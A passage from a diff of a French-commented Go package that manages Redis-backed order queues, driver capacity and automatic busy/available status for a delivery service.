"commands": commands,
|
||||
"can_accept_more": canAcceptMore,
|
||||
"max_commands": MAX_COMMANDS_PER_DELIVERYMAN,
|
||||
"active_deliverymen": activeCount,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetAllQueuesOverview() (map[string]interface{}, error) {
|
||||
overview := make(map[string]interface{})
|
||||
|
||||
// Queue générale
|
||||
generalQueueSize, _ := Redis.ZCard(RedisCtx, "queue:pending:sorted").Result()
|
||||
overview["general_queue"] = generalQueueSize
|
||||
|
||||
// Queues par livreur avec détails
|
||||
deliverymanQueues := make(map[string]interface{})
|
||||
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||
|
||||
for _, key := range keys {
|
||||
if len(key) > 6 && key[len(key)-6:] == ":count" {
|
||||
continue
|
||||
}
|
||||
|
||||
username := key[len("queue:deliveryman:"):]
|
||||
queueSize, _ := Redis.ZCard(RedisCtx, key).Result()
|
||||
|
||||
deliverymanQueues[username] = map[string]interface{}{
|
||||
"queue_size": queueSize,
|
||||
"can_accept_more": queueSize < MAX_COMMANDS_PER_DELIVERYMAN,
|
||||
"capacity": fmt.Sprintf("%d/%d", queueSize, MAX_COMMANDS_PER_DELIVERYMAN),
|
||||
}
|
||||
}
|
||||
|
||||
overview["deliveryman_queues"] = deliverymanQueues
|
||||
|
||||
// Total
|
||||
var totalPending int64 = generalQueueSize
|
||||
for _, key := range keys {
|
||||
if len(key) > 6 && key[len(key)-6:] == ":count" {
|
||||
continue
|
||||
}
|
||||
size, _ := Redis.ZCard(RedisCtx, key).Result()
|
||||
totalPending += size
|
||||
}
|
||||
overview["total_pending"] = totalPending
|
||||
|
||||
return overview, nil
|
||||
}
|
||||
|
||||
// GetQueueStats - Statistiques détaillées
|
||||
func (d *Database) GetQueueStats() (map[string]interface{}, error) {
|
||||
normalCount, _ := Redis.ZCard(RedisCtx, "queue:pending:sorted").Result()
|
||||
priorityCount, _ := Redis.ZCard(RedisCtx, "queue:priority:sorted").Result()
|
||||
|
||||
// Compter les commandes dans les queues des livreurs
|
||||
var deliverymanQueueCount int64
|
||||
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||
for _, key := range keys {
|
||||
if len(key) > 6 && key[len(key)-6:] == ":count" {
|
||||
continue
|
||||
}
|
||||
count, _ := Redis.ZCard(RedisCtx, key).Result()
|
||||
deliverymanQueueCount += count
|
||||
}
|
||||
|
||||
// Calculer temps d'attente moyen
|
||||
var totalWaitTime int64
|
||||
var commandCount int64
|
||||
|
||||
normalResults, _ := Redis.ZRangeWithScores(RedisCtx, "queue:pending:sorted", 0, -1).Result()
|
||||
for _, result := range normalResults {
|
||||
commandID := extractCommandID(result.Member)
|
||||
if commandID <= 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
key := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
data, _ := Redis.Get(RedisCtx, key).Result()
|
||||
|
||||
var item models.CommandQueue
|
||||
if json.Unmarshal([]byte(data), &item) == nil {
|
||||
waitMinutes := int64(time.Since(item.CreatedAt).Minutes())
|
||||
totalWaitTime += waitMinutes
|
||||
commandCount++
|
||||
}
|
||||
}
|
||||
|
||||
avgWaitTime := 0
|
||||
if commandCount > 0 {
|
||||
avgWaitTime = int(totalWaitTime / commandCount)
|
||||
}
|
||||
|
||||
stats := map[string]interface{}{
|
||||
"total_pending": normalCount + priorityCount,
|
||||
"general_queue": normalCount,
|
||||
"priority_queue": priorityCount,
|
||||
"deliveryman_queues": deliverymanQueueCount,
|
||||
"avg_wait_time_min": avgWaitTime,
|
||||
"max_commands_per_driver": MAX_COMMANDS_PER_DELIVERYMAN,
|
||||
"avg_delivery_time": AVG_DELIVERY_TIME,
|
||||
"last_updated": time.Now().Format("2006-01-02 15:04:05"),
|
||||
}
|
||||
|
||||
return stats, nil
|
||||
}
|
||||
@@ -0,0 +1,747 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/redis/go-redis/v9"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// 🆕 GESTION AUTOMATIQUE DU STATUT BUSY
|
||||
// ============================================
|
||||
|
||||
// UpdateDeliverymanStatusBasedOnQueue met à jour automatiquement le statut
|
||||
// ✅ Status = "busy" si queue >= 10
|
||||
// ✅ Status = "available" si queue < 10
|
||||
func (d *Database) UpdateDeliverymanStatusBasedOnQueue(deliveryman string) error {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
queueSize, err := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur récupération taille queue: %w", err)
|
||||
}
|
||||
|
||||
// Récupérer le statut actuel
|
||||
statusKey := fmt.Sprintf("delivery:status:%s", deliveryman)
|
||||
data, err := Redis.Get(RedisCtx, statusKey).Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [STATUS] Livreur %s n'a pas de statut Redis", deliveryman)
|
||||
return nil
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
if err := json.Unmarshal([]byte(data), &status); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Déterminer le nouveau statut
|
||||
var newStatus string
|
||||
var currentCommand int
|
||||
|
||||
if queueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
|
||||
// 🔴 BUSY car queue pleine (10 commandes ou plus)
|
||||
newStatus = "busy"
|
||||
currentCommand = 0
|
||||
log.Printf("🔴 [STATUS] %s -> BUSY (queue pleine: %d/10)", deliveryman, queueSize)
|
||||
} else {
|
||||
// 🟢 AVAILABLE tant que queue < 10
|
||||
// Exception: si le livreur est en train de livrer (delivering), on garde ce statut
|
||||
if status.Status == "delivering" && status.CurrentCommand > 0 {
|
||||
newStatus = "delivering"
|
||||
currentCommand = status.CurrentCommand
|
||||
log.Printf("🟡 [STATUS] %s -> DELIVERING (queue: %d/10, livraison en cours: cmd %d)",
|
||||
deliveryman, queueSize, currentCommand)
|
||||
} else {
|
||||
newStatus = "available"
|
||||
currentCommand = 0
|
||||
log.Printf("🟢 [STATUS] %s -> AVAILABLE (queue: %d/10)", deliveryman, queueSize)
|
||||
}
|
||||
}
|
||||
|
||||
// Mettre à jour le statut
|
||||
return d.SetDeliveryPersonStatus(deliveryman, newStatus, currentCommand)
|
||||
}
|
||||
|
||||
// CanDeliverymanAcceptCommands vérifie si un livreur peut accepter de nouvelles commandes
|
||||
// ✅ Retourne false si: status=busy ET queue>=10, ou status=offline
|
||||
func (d *Database) CanDeliverymanAcceptCommands(deliveryman string) bool {
|
||||
// 1. Vérifier le statut Redis
|
||||
statusKey := fmt.Sprintf("delivery:status:%s", deliveryman)
|
||||
data, err := Redis.Get(RedisCtx, statusKey).Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CHECK] Livreur %s sans statut Redis", deliveryman)
|
||||
return true // Fallback: autoriser si pas de statut
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
if err := json.Unmarshal([]byte(data), &status); err != nil {
|
||||
return true
|
||||
}
|
||||
|
||||
// 2. Si offline, refuser
|
||||
if status.Status == "offline" {
|
||||
log.Printf("⚫ [CHECK] %s REFUSÉ: offline", deliveryman)
|
||||
return false
|
||||
}
|
||||
|
||||
// 3. Vérifier la taille de la queue
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
// 4. Si queue >= 10, refuser
|
||||
if queueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
|
||||
log.Printf("🔴 [CHECK] %s REFUSÉ: queue pleine (%d/10)", deliveryman, queueSize)
|
||||
return false
|
||||
}
|
||||
|
||||
log.Printf("🟢 [CHECK] %s AUTORISÉ (%d/10)", deliveryman, queueSize)
|
||||
return true
|
||||
}
|
||||
|
||||
// GetAvailableDeliveryPersonsForAssignment récupère UNIQUEMENT les livreurs pouvant accepter
|
||||
func (d *Database) GetAvailableDeliveryPersonsForAssignment() ([]models.DeliveryPersonStatus, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var available []models.DeliveryPersonStatus
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
if err := json.Unmarshal([]byte(data), &status); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// ✅ Vérifier si le livreur peut accepter des commandes
|
||||
if d.CanDeliverymanAcceptCommands(status.Username) {
|
||||
available = append(available, status)
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("📊 [AVAILABLE] %d livreur(s) disponible(s) pour assignation", len(available))
|
||||
|
||||
return available, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🔄 FONCTIONS MODIFIÉES AVEC AUTO-STATUS
|
||||
// ============================================
|
||||
|
||||
// AddToDeliverymanQueue - VERSION MISE À JOUR avec auto-update du statut
|
||||
func (d *Database) AddToDeliverymanQueue(deliveryman string, queueItem models.CommandQueue) error {
|
||||
data, err := json.Marshal(queueItem)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur serialisation: %w", err)
|
||||
}
|
||||
|
||||
// Sauvegarder les données de la commande
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", queueItem.CommandID)
|
||||
Redis.Set(RedisCtx, commandKey, data, 24*time.Hour)
|
||||
|
||||
// Ajouter à la queue sorted set du livreur (score = timestamp)
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
score := float64(time.Now().Unix())
|
||||
|
||||
err = Redis.ZAdd(RedisCtx, queueKey, redis.Z{
|
||||
Score: score,
|
||||
Member: queueItem.CommandID,
|
||||
}).Err()
|
||||
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur ajout queue Redis: %w", err)
|
||||
}
|
||||
|
||||
// Incrémenter le compteur de commandes en attente pour ce livreur
|
||||
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", deliveryman)
|
||||
Redis.Incr(RedisCtx, counterKey)
|
||||
|
||||
log.Printf("✅ Commande %d ajoutée à la queue de %s", queueItem.CommandID, deliveryman)
|
||||
|
||||
// ✅ NOUVEAU: Mettre à jour automatiquement le statut
|
||||
go d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddCommandToQueue ajoute une commande à la file d'attente Redis (version simple)
|
||||
func (d *Database) AddCommandToQueue(commandID int) error {
|
||||
if err := d.ValidateCommandBeforeQueue(commandID); err != nil {
|
||||
log.Printf("❌ [QUEUE] Commande %d REFUSÉE: %v", commandID, err)
|
||||
return fmt.Errorf("validation échouée: %w", err)
|
||||
}
|
||||
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("commande introuvable: %w", err)
|
||||
}
|
||||
|
||||
// Gestion des coordonnées (NULL safe)
|
||||
var lat, lng float64
|
||||
if command["dest_latitude"] != nil {
|
||||
if latVal, ok := command["dest_latitude"].(float64); ok {
|
||||
lat = latVal
|
||||
}
|
||||
}
|
||||
if command["dest_longitude"] != nil {
|
||||
if lngVal, ok := command["dest_longitude"].(float64); ok {
|
||||
lng = lngVal
|
||||
}
|
||||
}
|
||||
|
||||
// Récupérer le total_prix avec gestion de type
|
||||
var totalPrice float64
|
||||
if tp, ok := command["total_prix"].(float64); ok {
|
||||
totalPrice = tp
|
||||
}
|
||||
|
||||
// Récupérer l'adresse
|
||||
var address string
|
||||
if addr, ok := command["delivery_address"].(string); ok {
|
||||
address = addr
|
||||
}
|
||||
|
||||
queueItem := models.CommandQueue{
|
||||
CommandID: commandID,
|
||||
Username: command["username"].(string),
|
||||
TotalPrice: totalPrice,
|
||||
Address: address,
|
||||
Lat: lat,
|
||||
Lng: lng,
|
||||
CreatedAt: time.Now(),
|
||||
EstimatedETA: 0,
|
||||
}
|
||||
|
||||
// Ajouter à la queue générale
|
||||
return d.AddToGeneralQueue(queueItem)
|
||||
}
|
||||
|
||||
// AddCommandToSmartQueue - Ajoute une commande avec attribution au livreur le moins chargé
|
||||
func (d *Database) AddCommandToSmartQueue(commandID int, address string) error {
|
||||
if err := d.ValidateCommandBeforeQueue(commandID); err != nil {
|
||||
log.Printf("❌ [QUEUE] Commande %d REFUSÉE: %v", commandID, err)
|
||||
return fmt.Errorf("validation échouée: %w", err)
|
||||
}
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("commande introuvable: %w", err)
|
||||
}
|
||||
|
||||
// Gestion des coordonnées (NULL safe)
|
||||
var lat, lng float64
|
||||
if command["dest_latitude"] != nil {
|
||||
if latVal, ok := command["dest_latitude"].(float64); ok {
|
||||
lat = latVal
|
||||
}
|
||||
}
|
||||
if command["dest_longitude"] != nil {
|
||||
if lngVal, ok := command["dest_longitude"].(float64); ok {
|
||||
lng = lngVal
|
||||
}
|
||||
}
|
||||
|
||||
// Récupérer le total_prix avec gestion de type
|
||||
var totalPrice float64
|
||||
if tp, ok := command["total_prix"].(float64); ok {
|
||||
totalPrice = tp
|
||||
}
|
||||
|
||||
queueItem := models.CommandQueue{
|
||||
CommandID: commandID,
|
||||
Username: command["username"].(string),
|
||||
TotalPrice: totalPrice,
|
||||
Address: address,
|
||||
Lat: lat,
|
||||
Lng: lng,
|
||||
CreatedAt: time.Now(),
|
||||
EstimatedETA: 0,
|
||||
}
|
||||
|
||||
// ✅ MODIFIÉ: Utiliser FindLeastLoadedDeliveryman qui respecte maintenant le statut
|
||||
assignedDeliveryman, err := d.FindLeastLoadedDeliveryman()
|
||||
if err != nil {
|
||||
// Aucun livreur trouvé, ajouter à la queue générale
|
||||
log.Printf("⚠️ Aucun livreur trouvé, ajout à la queue générale")
|
||||
return d.AddToGeneralQueue(queueItem)
|
||||
}
|
||||
|
||||
// Ajouter la commande à la queue spécifique du livreur (auto-update du statut)
|
||||
err = d.AddToDeliverymanQueue(assignedDeliveryman, queueItem)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur ajout à la queue du livreur: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("📋 Commande %d assignée à la queue de %s", commandID, assignedDeliveryman)
|
||||
|
||||
// Publier l'événement
|
||||
d.PublishCommandEvent(commandID, "queued",
|
||||
fmt.Sprintf("En attente dans la queue de %s", assignedDeliveryman))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddToGeneralQueue ajoute une commande à la queue générale (fallback)
|
||||
func (d *Database) AddToGeneralQueue(queueItem models.CommandQueue) error {
|
||||
data, err := json.Marshal(queueItem)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur serialisation: %w", err)
|
||||
}
|
||||
|
||||
score := float64(time.Now().Unix())
|
||||
key := fmt.Sprintf("queue:pending:%d", queueItem.CommandID)
|
||||
|
||||
pipe := Redis.Pipeline()
|
||||
pipe.Set(RedisCtx, key, data, 24*time.Hour)
|
||||
pipe.ZAdd(RedisCtx, "queue:pending:sorted", redis.Z{
|
||||
Score: score,
|
||||
Member: queueItem.CommandID,
|
||||
})
|
||||
|
||||
_, err = pipe.Exec(RedisCtx)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur ajout queue générale: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("📥 Commande %d ajoutée à la queue générale", queueItem.CommandID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveCommandFromQueue - VERSION AMÉLIORÉE avec auto-update du statut
|
||||
func (d *Database) RemoveCommandFromQueue(commandID int) error {
|
||||
key := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
commandIDStr := strconv.Itoa(commandID)
|
||||
|
||||
pipe := Redis.Pipeline()
|
||||
pipe.Del(RedisCtx, key)
|
||||
pipe.ZRem(RedisCtx, "queue:pending:sorted", commandIDStr)
|
||||
pipe.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr)
|
||||
|
||||
// Trouver et retirer de la queue du livreur
|
||||
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||
var affectedDeliveryman string
|
||||
|
||||
for _, queueKey := range keys {
|
||||
if len(queueKey) > 6 && queueKey[len(queueKey)-6:] == ":count" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Vérifier si la commande est dans cette queue
|
||||
_, err := Redis.ZRank(RedisCtx, queueKey, commandIDStr).Result()
|
||||
if err == nil {
|
||||
// Commande trouvée dans cette queue
|
||||
affectedDeliveryman = queueKey[len("queue:deliveryman:"):]
|
||||
pipe.ZRem(RedisCtx, queueKey, commandIDStr)
|
||||
|
||||
// Décrémenter le compteur
|
||||
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", affectedDeliveryman)
|
||||
pipe.Decr(RedisCtx, counterKey)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
_, err := pipe.Exec(RedisCtx)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur suppression: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ Commande %d retirée de la file", commandID)
|
||||
|
||||
// ✅ NOUVEAU: Mettre à jour le statut si un livreur était affecté
|
||||
if affectedDeliveryman != "" {
|
||||
go d.UpdateDeliverymanStatusBasedOnQueue(affectedDeliveryman)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) GetNextCommandInQueue() (*models.CommandQueue, error) {
|
||||
|
||||
normalResults, err := Redis.ZRangeWithScores(RedisCtx, "queue:pending:sorted", 0, 0).Result()
|
||||
|
||||
if err != nil || len(normalResults) == 0 {
|
||||
return nil, fmt.Errorf("aucune commande en attente")
|
||||
}
|
||||
|
||||
commandID := extractCommandID(normalResults[0].Member)
|
||||
if commandID <= 0 {
|
||||
return nil, fmt.Errorf("ID commande invalide")
|
||||
}
|
||||
|
||||
key := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("commande introuvable: %w", err)
|
||||
}
|
||||
|
||||
var queue models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queue); err != nil {
|
||||
return nil, fmt.Errorf("erreur désérialisation: %w", err)
|
||||
}
|
||||
return &queue, nil
|
||||
}
|
||||
|
||||
// GetLastCommandInQueue récupère la dernière commande dans la queue d'un livreur
|
||||
func (d *Database) GetLastCommandInQueue(deliveryman string) (*models.CommandQueue, error) {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
|
||||
// Récupérer la dernière commande (index -1)
|
||||
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, -1, -1).Result()
|
||||
if err != nil || len(commandIDs) == 0 {
|
||||
return nil, fmt.Errorf("queue vide")
|
||||
}
|
||||
|
||||
commandID := extractCommandID(commandIDs[0])
|
||||
if commandID <= 0 {
|
||||
return nil, fmt.Errorf("ID invalide")
|
||||
}
|
||||
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
data, err := Redis.Get(RedisCtx, commandKey).Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var queueItem models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &queueItem, nil
|
||||
}
|
||||
|
||||
// GetCommandQueuePosition récupère la position d'une commande dans la queue
|
||||
func (d *Database) GetCommandQueuePosition(commandID int) (int, error) {
|
||||
commandIDStr := strconv.Itoa(commandID)
|
||||
|
||||
// Chercher d'abord dans les queues des livreurs
|
||||
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||
|
||||
for _, queueKey := range keys {
|
||||
// Éviter les clés de compteur
|
||||
if len(queueKey) > 6 && queueKey[len(queueKey)-6:] == ":count" {
|
||||
continue
|
||||
}
|
||||
|
||||
rank, err := Redis.ZRank(RedisCtx, queueKey, commandIDStr).Result()
|
||||
if err == nil {
|
||||
return int(rank) + 1, nil
|
||||
}
|
||||
}
|
||||
|
||||
// Chercher dans la queue générale
|
||||
rank, err := Redis.ZRank(RedisCtx, "queue:pending:sorted", commandIDStr).Result()
|
||||
if err == nil {
|
||||
return int(rank) + 1, nil
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("commande non trouvée dans les queues")
|
||||
}
|
||||
|
||||
func (d *Database) ClearDeliverymanQueue(deliveryman string) error {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
|
||||
// Récupérer toutes les commandes
|
||||
commandIDs, _ := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
|
||||
|
||||
// Redistribuer chaque commande
|
||||
for _, cmdIDStr := range commandIDs {
|
||||
commandID := extractCommandID(cmdIDStr)
|
||||
if commandID <= 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
// Récupérer les données de la commande
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
data, err := Redis.Get(RedisCtx, commandKey).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var queueItem models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Trouver un nouveau livreur
|
||||
newDeliveryman, err := d.FindLeastLoadedDeliveryman()
|
||||
if err != nil {
|
||||
// Fallback: queue générale
|
||||
d.AddToGeneralQueue(queueItem)
|
||||
continue
|
||||
}
|
||||
|
||||
// Réassigner à un autre livreur
|
||||
if newDeliveryman != deliveryman {
|
||||
d.AddToDeliverymanQueue(newDeliveryman, queueItem)
|
||||
log.Printf("🔄 Commande %d réassignée de %s à %s",
|
||||
commandID, deliveryman, newDeliveryman)
|
||||
}
|
||||
}
|
||||
|
||||
// Vider la queue
|
||||
Redis.Del(RedisCtx, queueKey)
|
||||
Redis.Del(RedisCtx, fmt.Sprintf("queue:deliveryman:%s:count", deliveryman))
|
||||
|
||||
log.Printf("🗑️ Queue de %s vidée et redistribuée", deliveryman)
|
||||
|
||||
// ✅ NOUVEAU: Mettre à jour le statut
|
||||
go d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) SetDeliveryPersonStatus(username, status string, commandID int) error {
|
||||
key := fmt.Sprintf("delivery:status:%s", username)
|
||||
|
||||
statusData := models.DeliveryPersonStatus{
|
||||
Username: username,
|
||||
Status: status,
|
||||
CurrentCommand: commandID,
|
||||
LastUpdate: time.Now(),
|
||||
}
|
||||
|
||||
data, _ := json.Marshal(statusData)
|
||||
err := Redis.Set(RedisCtx, key, data, 24*time.Hour).Err()
|
||||
|
||||
if err == nil {
|
||||
log.Printf("✅ Statut livreur %s: %s", username, status)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// GetAvailableDeliveryPersonsRedis récupère les livreurs disponibles (LEGACY)
|
||||
func (d *Database) GetAvailableDeliveryPersonsRedis() ([]models.DeliveryPersonStatus, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var available []models.DeliveryPersonStatus
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
json.Unmarshal([]byte(data), &status)
|
||||
|
||||
if status.Status == "available" {
|
||||
available = append(available, status)
|
||||
}
|
||||
}
|
||||
|
||||
return available, nil
|
||||
}
|
||||
|
||||
// GetAllActiveDeliveryPersons - VERSION MISE À JOUR avec vérification capacité
|
||||
func (d *Database) GetAllActiveDeliveryPersons() ([]models.DeliveryPersonStatus, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var active []models.DeliveryPersonStatus
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
json.Unmarshal([]byte(data), &status)
|
||||
|
||||
if status.Status != "offline" {
|
||||
// ✅ Vérifier si le livreur peut accepter des commandes
|
||||
if d.CanDeliverymanAcceptCommands(status.Username) {
|
||||
active = append(active, status)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return active, nil
|
||||
}
|
||||
|
||||
// CountActiveDeliverymen compte le nombre de livreurs actifs (non offline)
|
||||
func (d *Database) CountActiveDeliverymen() (int, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
count := 0
|
||||
for _, key := range keys {
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
json.Unmarshal([]byte(data), &status)
|
||||
|
||||
if status.Status != "offline" {
|
||||
count++
|
||||
}
|
||||
}
|
||||
|
||||
return count, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetSingleActiveDeliveryman() (string, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
json.Unmarshal([]byte(data), &status)
|
||||
|
||||
if status.Status != "offline" {
|
||||
return status.Username, nil
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("aucun livreur actif trouvé")
|
||||
}
|
||||
|
||||
// GetAllActiveDeliverymenUsernames retourne les usernames de tous les livreurs actifs
|
||||
func (d *Database) GetAllActiveDeliverymenUsernames() ([]string, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var activeUsernames []string
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
json.Unmarshal([]byte(data), &status)
|
||||
|
||||
if status.Status != "offline" {
|
||||
activeUsernames = append(activeUsernames, status.Username)
|
||||
}
|
||||
}
|
||||
|
||||
return activeUsernames, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🔄 SYNCHRONISATION DES STATUTS
|
||||
// ============================================
|
||||
|
||||
// SyncAllDeliverymanStatuses synchronise tous les statuts (à appeler au démarrage)
|
||||
func (d *Database) SyncAllDeliverymanStatuses() error {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
log.Println("🔄 [SYNC] Synchronisation des statuts livreurs...")
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
if err := json.Unmarshal([]byte(data), &status); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Mettre à jour le statut basé sur la queue
|
||||
d.UpdateDeliverymanStatusBasedOnQueue(status.Username)
|
||||
}
|
||||
|
||||
log.Println("✅ [SYNC] Synchronisation terminée")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 📊 RAPPORT DE CAPACITÉ
|
||||
// ============================================
|
||||
|
||||
// GetDeliverymanCapacityReport génère un rapport détaillé
|
||||
func (d *Database) GetDeliverymanCapacityReport() (map[string]interface{}, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
report := map[string]interface{}{
|
||||
"total_deliverymen": 0,
|
||||
"available": 0,
|
||||
"busy_full": 0, // BUSY car queue pleine
|
||||
"busy_delivering": 0, // BUSY car en livraison
|
||||
"offline": 0,
|
||||
"details": []map[string]interface{}{},
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var status models.DeliveryPersonStatus
|
||||
if err := json.Unmarshal([]byte(data), &status); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", status.Username)
|
||||
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
canAccept := d.CanDeliverymanAcceptCommands(status.Username)
|
||||
|
||||
detail := map[string]interface{}{
|
||||
"username": status.Username,
|
||||
"status": status.Status,
|
||||
"queue_size": queueSize,
|
||||
"capacity": fmt.Sprintf("%d/10", queueSize),
|
||||
"can_accept": canAccept,
|
||||
"current_order": status.CurrentCommand,
|
||||
}
|
||||
|
||||
report["total_deliverymen"] = report["total_deliverymen"].(int) + 1
|
||||
|
||||
if status.Status == "offline" {
|
||||
report["offline"] = report["offline"].(int) + 1
|
||||
} else if status.Status == "busy" {
|
||||
if queueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
|
||||
